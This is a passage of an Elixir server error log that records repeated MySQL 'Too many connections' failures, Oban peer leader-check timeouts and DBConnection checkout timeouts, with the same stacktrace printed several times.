    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:02:19.782000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:02:20.261000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:02:22.600000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:02:22.732000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:02:24.596000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:02:26.332000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:02:28.418000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:02:35.890000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:02:36.984000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:02:38.568000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:02:46.046000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:02:47.763000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:02:53.813000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:02:55.815000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:02:56.073000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:02:56.897000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:02:58.814000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:03:01.155000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:03:03.640000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:03:03.643000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:03:05.811000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:03:07.685000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:03:11.234000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:03:11.394000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:03:12.072000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:03:17.432000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:03:17.495000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:03:23.008000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:03:29.133000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:03:34.989000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:03:36.089000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:03:37.190000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:03:37.489000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:03:37.679000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:03:38.643000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:03:42.680000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:03:44.067000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:03:47.373000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:03:47.375000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:03:48.630000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:03:49.332000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:03:49.787000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:03:50.090000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:03:51.748000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:03:51.972000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:03:54.106000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:03:54.259000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:03:57.434000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:04:00.291000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:04:01.441000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:04:05.052000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:04:05.766000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:04:07.141000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:04:11.564000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:04:15.685000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:04:20.195000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:04:21.182000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:04:21.408000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:04:22.018000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:04:22.950000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:04:26.409000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:04:27.438000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:04:27.607000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:04:31.087000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:04:31.089000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:04:32.950000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:04:33.406000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:04:35.806000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:04:38.697000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:04:40.785000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:04:42.010000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:04:42.269000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:04:42.676000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:04:43.631000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:04:45.898000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:04:57.667000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:05:00.015000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:05:01.943000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:05:03.096000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:05:04.990000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:05:06.125000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:05:06.249000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:05:08.436000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:05:11.126000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:05:11.308000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:05:13.172000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:05:13.647000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:05:15.307000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:05:15.828000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:05:15.830000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:05:18.558000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:05:22.105000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:05:28.150000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:05:28.621000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:05:28.670000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:05:31.855000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:05:32.811000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:05:36.686000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:05:37.345000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:05:37.513000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:05:40.299000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:05:43.829000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
